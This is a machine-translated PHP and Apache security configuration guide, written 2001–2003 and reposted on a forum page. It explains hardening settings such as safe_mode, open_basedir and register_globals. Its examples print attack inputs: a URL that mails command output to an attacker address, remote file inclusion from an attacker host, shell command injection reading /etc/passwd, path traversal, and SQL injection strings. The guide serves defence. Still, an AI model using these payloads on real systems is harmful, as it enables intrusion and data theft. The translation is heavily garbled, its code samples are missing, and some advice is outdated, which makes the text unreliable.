PHP security configuration

xiaoxiao2021-03-06  40

PHP security is very good finishing DOC: san Version: 0.02 Created: 2001/11/12 Updated: 2003/07/21 a, PHP Web server security, but in fact is a module Web server function, so we must first ensure that the Web server Safety. Of course, the Web server must be safe and must be guaranteed to ensure system security, so it is far away, endless. PHP can be combined with a variety of web servers, and Apache is also discussed here. It is very recommended to install the Apache in Chroot, so even if Apache and PHP have a vulnerability, which is affected, only this imprisoned system, does not endanger the actual system. But after using Chroot Apache, it will also bring certain troubles to applications. For example, when connecting MySQL, you must use TCP connections with a 127.0.0.1 address without using localhost to implement Socket connections, which will be slightly worse in efficiency. There is also a Mail function to send an email is also a problem, because of php.ini: [mail function]; for win32 only.smtp = localhost; for Win32 Only.sendmail_from = me@localhost.com is a for Win32 platform, so it is needed Adjust Sendmail in the chroot environment. Second, PHP itself problem 1, remote overflow PHP-4.1.2 All versions exist file upload remote buffer overflow vulnerability, and the attack program has spread widely, the success rate is very high: http://packetstormsecurity.org/0204- Exploits / 7350Fun http://hsj.shadowpenguin.org/misc/php3018_exp.txt 2, remote denial of service PHP-4.2.0 and PHP-4.2.1 Presence PHP MULTIPART / FORM-DATA POST request to process remote vulnerabilities, although not available Local user privileges, but can also be rejected. 3, SAFE_MODE bypassing the vulnerability and PHP-4.2.2 below PHP-4.0.5, there is a PHP MAIL function to bypass the SAFE_MODE limit execution command vulnerability, the 4.0.5 version starts the MAIL function adds the fifth parameters, due to design Considering that it can break through the limit execution command of SAFE_MODE in no circumference. Among them, the 4.0.5 version breaks through very simple, just use the semicolonaway to add the shell command, such as the presence PHP scripting eviL.php: Perform the following URL: http://foo.com/evil.php?bar=;/usr/bin/id& # 124; mail evil@domain.com This will send the results performed by the ID Give Evil@domain.com. For the PHP breakthrough SAFE_MODE limit for 4.0.6 to 4.2.2, it is actually using the -c parameters of Sendmail, so the system must use Sendmail.

The following code can break through the SAFE_MODE limit execution command: Or use the above problem version PHP users must upgrade to the latest version in time, so that basic security issues can be eliminated. Third, the security configuration of PHP itself is very flexible, can be set by php.ini, httpd.conf, .htaccess file (this directory must be set), you can also use ini_set () in the scripter. And other specific functions are set. Each value of the configuration option can be obtained by phpinfo () and get_cfg_var () functions. If the configuration option is the only php_ini_system property, you must modify via php.ini and httpd.conf, which modifies the master value of the PHP, but you must restart Apache after the modification can take effect. The option for php.ini settings is to take effect for all scripts of the web server, and the options set in httpd.conf are taken effect on all scripts in the definition directory. If there are other PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL attribute options can be used to use .htaccess file settings, or by setting the INI_SET () function in the script, they modify the LOCAL value, change it immediately. But .htaccess only takes effect on the script program of the current directory, the INI_SET () function is only effective after setting the code ini_set () function for the scripter. The option properties of each version may be the same, you can use the following command to find all the options for the current source code, and its properties: # Grep php_ini_ / php_src/main/main.c before discussion PHP security configuration It should be a good understanding of the SAFE_MODE mode of PHP. 1. SAFE_MODE SAFE_MODE is the unique php_ini_system property, must be set via php.ini or httpd.conf. To enable SAFE_MODE, simply modify php.ini: Safe_Mode = ON or modify httpd.conf, define directory: Options FollowSymlinks php_admin_Value Safe_Mode 1 After restarting apache, Safe_Mode takes effect. Start SAFE_MODE, limit many PHP functions, especially those related to system-related files, command execution and other functions.

The function of all operation files can only be operated with the script UID, such as the content of the Test.php script: Several files The properties are as follows: # ls -latotal 13DRWXR- XR-x 2 root root 104 JUL 20 01:25 .drwxr-xr-x 16 root root 384 JUL 18 12:02 ..- rw-r - r - 1 root root 4110 OCT 26 2002 Index.html-rw -r - r - 1 WWW-DATA WWW-DATA 41 JUL 19 19:14 Test.php In the browser request Test.php will prompt the following error message: Warning: Safe Mode Restriction in Effect. The Script Whose Uid / GID IS 33/33 is not allowed to access ./index.html owned by uid / gid 0/0 in /var/www/test.php on line 1 If the UID and script uid of the directory where the file is being operated, then The UID of the file can be accessed even if the script is different, I don't know if this is a vulnerability of PHP or another hidden. Therefore, the user of the PHP script is best for this purpose, absolutely prohibiting using root as the primary owner of the PHP script, so that the SAFE_MODE is not achieved. If you want to relax it to the GID comparison, open SAFE_MODE_GID to consider only the GID of the file, you can set the following option: SAFE_MODE_GID = ON After setting SAFE_MODE, all the functions executed by all commands will only perform PHP.INI SAFE_MODE_EXEC_DIR specified Programs in the catalog, and shell_exec, `ls -l` This way of execution commands will be disabled. If you really need to call other programs, you can do the following settings in php.ini: SAFE_MODE_EXEC_DIR = / usr / local / php / exec Then copy the program to the directory, then the PHP script can perform the program with a function such as System. And the shell script in this directory can also call the system command in other directories. SAFE_MODE_INCLUDE_DIR STRING When the directory and its subdirectory (directory must be included in include_path or included with the full path), the UID / GID check is over. Starting with PHP 4.2.0, this directive can accept the style with the number of semicolons that are separated by a semicolon, not just a directory, and the INCLUDE_PATH instruction The specified limit is actually a prefix, not a directory name. This is to say "SAFE_MODE_INCLUDE_DIR = / DIR / INCL" will allow access to "/ DIR / include" and "/ Dir / INCLS" if they exist. If you want to control the access to a specified directory, then add a slash at the end, for example: "SAFE_MODE_INCLUDE_DIR = / DIR / INCL /". SAFE_MODE_ALLOWED_ENV_VARS STRING Setting some environment variables may be potential security gaps. This instruction contains a comma-separated prefix list. In safe mode, users can only change the environment variables that have the prefix provided here. By default, users can only set environment variables beginning with PHP_ (eg pHP_foo = BAR).

Note: If the instruction is empty, the PHP will enable the user to modify any environment variables! SAFE_MODE_PROTECTED_ENV_VARS STRING This instruction contains a list of comma-separated environment variables, and end users cannot use putenv () to change these environment variables. These variables cannot be changed even when setting up to SAFE_MODE_ALLOWED_ENV_VARS. Although SAFE_MODE is not universal (low version of PHP can be bypassed), but it is also strongly recommended to open security mode to a certain extent, some unknown attacks can be avoided. However, it will have a lot of limitations that enable SAFE_MODE, which may have an impact on the application, so adjust the code and configuration to harmonize. Functions that are restricted or masked by safety mode can refer to the PHP manual. After discussion SAFE_MODE, the following combined with the actual problem that the program code actually appears how to avoid the vulnerability of the PHP server side. 2, variable abuse of PHP default register_globals = ON, for GET, POST, Cookie, Environment, Session variables can be registered directly into global variables. Their registration order is Variables_Order = "EGPCS" (can be modified via php.ini), the same name variable variables_order, so the abuse of the variable is very easy to cause the program. Moreover, scripting programs often do not have habits initialized to variables, like the following program seasses are extremely vulnerable: An attacker only needs to bypass the check: http://victim/test_1.php? Auth = 1 This is a very Negative mistakes, but some famous procedures have also made this mistake, such as phpnuke's remote file copy vulnerability: http://www.securityfocus.com/bid/3361 PHP-4.1.0 is recommended to close Register_Globals, and Seven special array variables are provided to use various variables. For variables from GET, POST, Cookie, etc., do not directly register into variables, must be accessed by array variables. When PHP-4.2.0 is released, the PHP.INI default configuration is register_globals = OFF. This makes the program use the default value initialized by PHP itself, typically 0, avoiding an attacker control judgment variable. Workaround: Profile php.ini Sets register_globals = OFF. The programmer is required to initialize a value at the beginning of the determination.

3, the file opens the extremely vulnerable code snippet: " ); Else {Echo $ Str;}?> Because an attacker can specify any $ filename, the attacker can see / etc / passwd: http: //victim/test_2.php? Filename as the following request = / etc / passwd The following request can read the php file itself: http://victim/test_2.php? filename = test_2.php php File Open Function There is FOPEN (), file (), etc. If the file name variable check Do not strictly cause the server important document to be accessed. Workaround: If there is a non-special need, limit the PHP file operation to the web directory. The following is an example of modifying an apache profile httpd.conf: php_admin_value open_basedir / usr / local / apache / htdocs Restart Apache, / usr / local / apache / htdocs The PHP script under the directory can only operate the files in its own directory, otherwise PHP will report in error: Warning: Open_BaseDir Restriction in Effect. File is in Wrong Directory in xxx on line xx. Use Safe_Mode mode to avoid this problem It has been discussed in front. 4, including file extremely vocabular code snippet: This irresponsible code will cause considerable harm The attacker can get the / etc / passwd file: http://victim/test_3.php? Filename = / etc / passwd If the UNIX version of PHP (Win version of PHP does not support remote open file) attacker Built a file containing the shell command on a machine that has opened an HTTP or FTP service, such as http: //attack/attack.txt content is , Then as follows You can execute the command ls / etc: http: //victim/test_3.php? Filename = http: //attack/attack.txt attacker can even get access.log and error.log by containing Apache log files. Execute the code of the command, but because there is too much interference information, sometimes it is easy to succeed. For another form, the following code segment: An attacker can establish a config.php file that contains the execution command code in its own host, Then use the following requests to execute the command at the target host: http: //victim/test_4.php? Lib = http: // attact of include (), include_Once (), request (), request_once.

If you don't have a serious risk of the system for the included file name variable, you can remotely execute the command. Workaround: Requires the programmer to include the parameters in the file try not to use the variable, if you use a variable, you must strictly check the file name to be included, it is absolutely not specified by the user. The PHP operation path is restricted in the previous file open is a necessary option. Alternatively, if you do not have special needs, you must turn off the remote file opening function of the PHP. Modify the php.ini file: allow_url_fopen = OFF restart Apache. 5, file uploading PHP file upload mechanism is a temporary directory that the file uploaded by the user in PHP.ini UPLOAD_TMP_DIR defined (default is a temporary directory of the system, such as: / tmp), a random temporary file, program The execution ends, the temporary file is also deleted. PHP defines four variables to the uploaded file: (If the Form variable name is file, and register_global is open) $ file # is a temporary file saved to the server (such as / tmp / phpxuoxg) $ file_size # Upload the file size $ file_name # The original name of the upload file $ file_type # Upload type Recommended: $ http_post_files ['file'] ['tmp_name'] $ http_post_files ['file'] ['size'] $ http_post_files ['file'] ['name' ] $ Http_post_files ['file'] ['type'] This is a simplest file upload code: Continue to upload "; EXIT;}?> file upload </ title> <meta http-equiv = "content-type" content = "text / html; charSet = GB2312"> </ head> <body bgcolor = "# Ffffff"> <form encType = "multipart / form-data" method = "post"> uploaded file: <input type = "file" name = "file" size = "30"> <input type = "Submit "Name =" UPLOAD "value =" Upload "> </ form> </ body> </ html> There is a major issue that reads any file and execution command.</p> <p>The following request can copy the / etc / passwd document to the web directory / usr / local / apache / htdocs / test (Note: This directory must be written) attack.txt file: http: // Victim / Test_5. PHP? UPLOAD = 1 & file = / etc / passwd & file_name = attack.txt can then use the following request to read the password file: http: //victim/test/attack.txt attacker can copy the PHP file into other extensions, leak the script source Code. An attacker can customize the value of the File_Name variable in the Form, and upload the file override any write-free file. An attacker can also upload the PHP script to execute the host's command. Workaround: After PHP-4.0.3, it provides the is_uploaded_file_uploaded_file function, which can check if the file is uploaded, so that the system file is copied to the web directory. Use the $ http_post_files array to read the file variable uploaded by the user. Strictly check the uploading. For example, it is not allowed to be a PHP script file. PHP script operation restrictions on the web directory to avoid programmers to copy the system file to the web directory using the COPY function. Move_uploaded_file is not limited by Open_BASEDIR, so there is no need to modify the value of UPLOAD_TMP_DIR in php.ini. Encrypt the PHP script with phpencode to avoid the source code due to the COPY operation. Strictly configure the permissions of the files and directories, only the uploaded directory allows the Nobody user to be written. For the upload directory removes the PHP interpretation function, you can modify the httpd.conf implementation: <Directory / usr / local / apache / htdocs / upload> php_flag engine off # If it is PHP3 to change to php3_engine off </ directory> restart apache, upload directory The PHP file cannot be explained by Apache, even if there is no problem, only the PHP file is uploaded, only the source code can only be displayed directly. 6. Commands Execute the following code snippered from phpnettoolpack, detailed description: http://www.securityfocus.com/bid/4303 <? // test_6.php system ("Traceroute $ A_Query", $ RET_STRS); ?> Since the program does not filter the $ A_QUERY variable, the attacker can use a semicolon to add an execution command. Attacker Enter the following request can execute the CAT / etc / passwd command: http://victim/test_6.php? A_query = www.example.com; CAT / etc / passwd PHP command execution function also has system (), Passthru ), POPEN () and ``, etc. The command execution function is very dangerous and useful. If you want to use it, you must strictly check the user input. Workaround: Require programmer to filter the shell command you entered using the EscapeShellcmd () function. Enabling SAFE_MODE can eliminate a lot of execution commands, but pay attention to the version of PHP must be the latest, less than PHP-4.2.2 may bypass the SAFE_MODE limit to execute the command. 7, SQL_INJECT as follows SQL statement If there is no problem with the variables, there is a problem: SELECT * from login where user = '$ user' and pass = '$ Pass' attacker can enter 1 'or 1 =' 1 bypass the verification.</p> <p>But fortunately, PHP has a default option MAGIC_QUOTES_GPC = ON, which makes the addslashes () operation from GET, POST, and Cookie variables. The above SQL statement becomes: select * from login where user = '1' or 1 = '1' AND pass = '1' or 1 = 1 'thus avoids such SQL_INJECT attacks. For digital types of fields, many programmers will write this way: select * from test where id = $ ID This will cause SQL_INJECT attacks because the variables are not extended with single quotes. Fortunately, the mysql function is simple, there is no SQL SQL statement that executes commands, and the php mysql_query () function is only allowed to execute a SQL statement, so the attack of a semicolofan separated multiple SQL statements cannot work. However, the attacker can at least let the query statement error, the information of the leak system, or some unexpected situations. Workaround: Requires the programmer to filter all users to put into the SQL statement. Even the fields of the digital type, the variables must be extended with single quotes, and MySQL will handle the string into a number. Users who do not give PHP programs high-level permissions in MySQL only allow operations to their own libraries, which also avoids program problems by Select Into Outfile ... this attack. 8, warning and error message PHP default display all warnings and error messages: error_reporting = e_all & ~ e_noticedisplay_errors = ON is very useful when developing commissioning, can find the program error immediately according to the warning information. When officially applied, warnings and error messages allow users to do what they do, and gave attackers leaked the physical paths where the script is located, providing favorable information for the attacker's further attack. And because you have not accessed the wrong place, you can't modify the program in time. So record all warnings and error messages of PHP to a log file, that is, do not give an attacker to leak a physical path, and let yourself know the program error. Modify the php.ini on Error handling and logging part: error_reporting = E_ALLdisplay_errors = Offlog_errors = Onerror_log = /usr/local/apache/logs/php_error.log then restart apache, pay attention to the file / usr / local / apache / logs / php_error. Log must allow Nobody users to write. 9, disable_functions If some functions have threats, you can set the disable_functions in php.ini (this option cannot be set in httpd.conf), such as: disable_functions = phpinfo, get_cfg_var can specify multiple functions, separated by comma. After restarting Apache, PHPINFO, GET_CFG_VAR functions were banned. It is recommended to turn off the function phpinfo, get_cfg_var, which is easy to leak server information, and there is no practical use. 10, disable_classes This option is only starting from PHP-4.3.2, it can disable some classes, if there are multiple comma-separated class names. Disable_classes cannot be set in httpd.conf, which can only be modified in the php.ini profile.</p> <p>11. When the OPEN_BASEDIR front analysis routine, it also mentioned that the script operation path is limited to the script operation path, and it will be introduced here. The restriction specified by Open_Basedir is actually a prefix, not a directory name. That is, "Open_BaseDir = / DIR / INCL" will also allow access to "/ DIR / include" and "/ Dir / INCLS" if they exist. If you want to limit access to only the specified directory, the path name is ended with the slash. For example: "open_basedir = / dir / incl /". You can set multiple directories, in Windows, separate the directory with a semicolon. Separate the directory in any other system. As an Apache module, the OPEN_BASEDIR path in the parent directory is automatically inherited. Fourth, other security configurations 1, cancel other users to read and write to common, important system commands General administrator maintenance requires only one ordinary user and management users, in addition to these two users, to other users can perform and access things should be The less better, so cancel other users' commonly used, the read and write execution permission of important system commands can bring great confusion to the attacker when the program or service is loopholes. Remember that the permissions must be read, otherwise it can be performed with /lib/ld-linux.so.2 / bin / ls under Linux. If you want to cancel something, if you are in the Chroot environment, this work is relatively easy, otherwise this work is still a bit challenge. Because execution permission to cancel some programs will cause some service to run abnormal. The MAIL function of PHP requires / bin / sh to call Sendmail to send a letter, so / bin / bash execute permission cannot be removed. This is a more tired job. By submitting a URL containing a PHP code, you can enable the Access-log to include the PHP code to the Access-log, which is possible to obtain local access. If there are other virtual hosts, you should also remove the read rights of other users of the log file. Of course, if you configure PHP as previously introduced, it is generally unable to read the log file. Reference: History: 0.02 - I want to maintain this document, because the time is longer, do more modifications 0.01 - initial version</p></div><div class="text-center mt-3 text-grey"> 转载请注明原文地址:https://www.9cbs.com/read-86140.html</div><div class="plugin d-flex justify-content-center mt-3"></div><hr><div class="row"><div class="col-lg-12 text-muted mt-2"><i class="icon-tags mr-2"></i><span class="badge border border-secondary mr-2"><h2 class="h6 mb-0 small"><a class="text-secondary" href="tag-2.html">9cbs</a></h2></span></div></div></div></div><div class="card card-postlist border-white shadow"><div class="card-body"><div class="card-title"><div class="d-flex justify-content-between"><div><b>New Post</b>(<span class="posts">0</span>) </div><div></div></div></div><ul class="postlist list-unstyled"> </ul></div></div><div class="d-none threadlist"><input type="checkbox" name="modtid" value="86140" checked /></div></div></div></div></div><footer class="text-muted small bg-dark py-4 mt-3" id="footer"><div class="container"><div class="row"><div class="col">CopyRight © 2020 All Rights Reserved </div><div class="col text-right">Processed: <b>0.036</b>, SQL: <b>9</b></div></div></div></footer><script src="./lang/en-us/lang.js?2.2.0"></script><script src="view/js/jquery.min.js?2.2.0"></script><script src="view/js/popper.min.js?2.2.0"></script><script src="view/js/bootstrap.min.js?2.2.0"></script><script src="view/js/xiuno.js?2.2.0"></script><script src="view/js/bootstrap-plugin.js?2.2.0"></script><script src="view/js/async.min.js?2.2.0"></script><script src="view/js/form.js?2.2.0"></script><script> var debug = DEBUG = 0; var url_rewrite_on = 1; var url_path = './'; var forumarr = {"1":"Tech"}; var fid = 1; var uid = 0; var gid = 0; xn.options.water_image_url = 'view/img/water-small.png'; </script><script src="view/js/wellcms.js?2.2.0"></script><a class="scroll-to-top rounded" href="javascript:void(0);"><i class="icon-angle-up"></i></a><a class="scroll-to-bottom rounded" href="javascript:void(0);" style="display: inline;"><i class="icon-angle-down"></i></a></body></html><script> var forum_url = 'list-1.html'; var safe_token = 'RJu0yIjlgLHJARfO0Ug5puqzI1y_2FFgWpdbO_2FF_2BaWBRHdD0Sc5YohVwLiniFV0omh53Nt5YePV1lpfMQA'; var body = $('body'); body.on('submit', '#form', function() { var jthis = $(this); var jsubmit = jthis.find('#submit'); jthis.reset(); jsubmit.button('loading'); var postdata = jthis.serializeObject(); $.xpost(jthis.attr('action'), postdata, function(code, message) { if(code == 0) { location.reload(); } else { $.alert(message); jsubmit.button('reset'); } }); return false; }); function resize_image() { var jmessagelist = $('div.message'); var first_width = jmessagelist.width(); jmessagelist.each(function() { var jdiv = $(this); var maxwidth = jdiv.attr('isfirst') ? first_width : jdiv.width(); var jmessage_width = Math.min(jdiv.width(), maxwidth); jdiv.find('img, embed, iframe, video').each(function() { var jimg = $(this); var img_width = this.org_width; var img_height = this.org_height; if(!img_width) { var img_width = jimg.attr('width'); var img_height = jimg.attr('height'); this.org_width = img_width; this.org_height = img_height; } if(img_width > jmessage_width) { if(this.tagName == 'IMG') { jimg.width(jmessage_width); jimg.css('height', 'auto'); jimg.css('cursor', 'pointer'); jimg.on('click', function() { }); } else { jimg.width(jmessage_width); var height = (img_height / img_width) * jimg.width(); jimg.height(height); } } }); }); } function resize_table() { $('div.message').each(function() { var jdiv = $(this); jdiv.find('table').addClass('table').wrap('<div class="table-responsive"></div>'); }); } $(function() { resize_image(); resize_table(); $(window).on('resize', resize_image); }); var jmessage = $('#message'); jmessage.on('focus', function() {if(jmessage.t) { clearTimeout(jmessage.t); jmessage.t = null; } jmessage.css('height', '6rem'); }); jmessage.on('blur', function() {jmessage.t = setTimeout(function() { jmessage.css('height', '2.5rem');}, 1000); }); $('#nav li[data-active="fid-1"]').addClass('active'); </script>